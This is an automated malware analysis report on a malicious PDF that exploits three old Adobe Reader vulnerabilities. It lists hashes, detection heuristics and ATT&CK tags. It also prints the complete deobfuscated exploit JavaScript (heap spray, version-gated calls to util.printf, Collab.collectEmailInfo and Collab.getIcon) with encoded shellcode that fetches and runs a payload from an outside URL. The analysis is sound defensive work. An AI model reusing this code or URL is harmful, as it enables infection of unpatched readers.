Malicious PDF / .PHP — malware analysis report

Static analysis result for SHA-256 765f3b2bb1792e89…

MALICIOUS

PDF / .PHP

5.5 KB Created: 2008-09-24 19:47:56 Authoring application: Adobe (via Notepad)
MD5: bfa135e9bb91cf52410782b05c335e04 SHA-1: 021e512dc0c9071ffe0b162ba8bab3ad662a01f5 SHA-256: 765f3b2bb1792e896dfc8073000d0b5ae0cbb8386f8d7fca576ed6ffc5d1823d
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains JavaScript that exploits multiple Adobe Reader vulnerabilities (CVE-2007-5659, CVE-2008-2992, CVE-2009-0927) to execute code. The deobfuscated JavaScript contains a URL that is likely used to download a second-stage payload. The script's primary function is to download and execute this payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://grove.li/deskmedia_defekt/grovelogo.php?id=10& Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js
f3c4e68fe2c70edba97ad043b643dc79307a0f833fcb934bf78c016e2b8adb55		 pdf-javascript-stream PDF /JS object 6 at offset 0x1334 142 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
uKs9=24;if(app.alert)uKs9++;vP6Sb=this;dpLa=unescape;nRW=vP6Sb.info;uKs9=dpLa('%'+uKs9);dNZ=nRW.Trailer.replace(/[A-Z]/g,uKs9);eval(dpLa(dNZ))
info_trailer_percent_stage_000.js
de1b32b64665a43493ef9dc4007788328f7f6e834a347ae34b800f528c9c7198		 deobfuscated-js Info /Trailer percent-placeholder decoded JavaScript (object 5, info object 9) at offset 0x136 2667 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
DkdEi=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u672F%u6F72%u6576%u6C2E%u2F69%u6564%u6B73%u656D%u6964%u5F61%u6564%u6566%u746B%u672F%u6F72%u6576%u6F6C%u6F67%u702E%u7068%u693F%u3D64%u3031%u0026"); var D6tP=new Array(); function dofn(glmy,KPQ){ while(glmy.length*2<KPQ)glmy+=glmy; glmy=glmy.substring(0,KPQ/2);return glmy;} function nDLW(){ var gLH=0x0c0c0c0c;var D8KX=0x400000;var ACxS=DkdEi.length*2; var KPQ=D8KX-(ACxS+0x38);var glmy=unescape("%u9090%u9090"); glmy=dofn(glmy,KPQ);var F8Y=(gLH-0x400000)/D8KX; for (var cM1B=0;cM1B<F8Y;cM1B++)D6tP[cM1B]=glmy+DkdEi;} try{var cKp=app.viewerVersion.toString(); cKp=cKp.charAt(0)*100+cKp.charAt(2)*10+cKp.charAt(4); if((cKp>=800)&&(cKp<=812)){ var gTga=unescape("%u0A0A%u0A0A");var rsSq=20;var xy7=rsSq+DkdEi.length; while(gTga.length<xy7)gTga+=gTga;var rAU=gTga.substring(0,xy7); var wFwKS=gTga.substring(0,gTga.length-xy7); while(wFwKS.length+xy7<0x60000)wFwKS=wFwKS+wFwKS+rAU; for(o8II=0;o8II<1200;o8II++){D6tP[o8II]=wFwKS+DkdEi} var Z9Cx="12999999999999999999";for(ORf=0;ORf<276;ORf++)Z9Cx+="8"; util.printf("%45000f",Z9Cx);} if((cKp<710)||((cKp>800)&&(cKp<812))){nDLW(); var vjb5G=unescape("%u0c0c%u0c0c");while(vjb5G.length<44952)vjb5G+=vjb5G; this.collabStore=Collab.collectEmailInfo({subj:"",msg:vjb5G});} if((cKp<=900)&&(cKp!=711)&&(cKp!=813)&&app.doc.Collab.getIcon){nDLW(); var ke9=unescape("%09");while(ke9.length<0x4000){ke9+=ke9;} ke9="N."+ke9;app.doc.Collab.getIcon(ke9);} }catch(e){}

Open this report in the interactive analyzer, or submit your own file for analysis.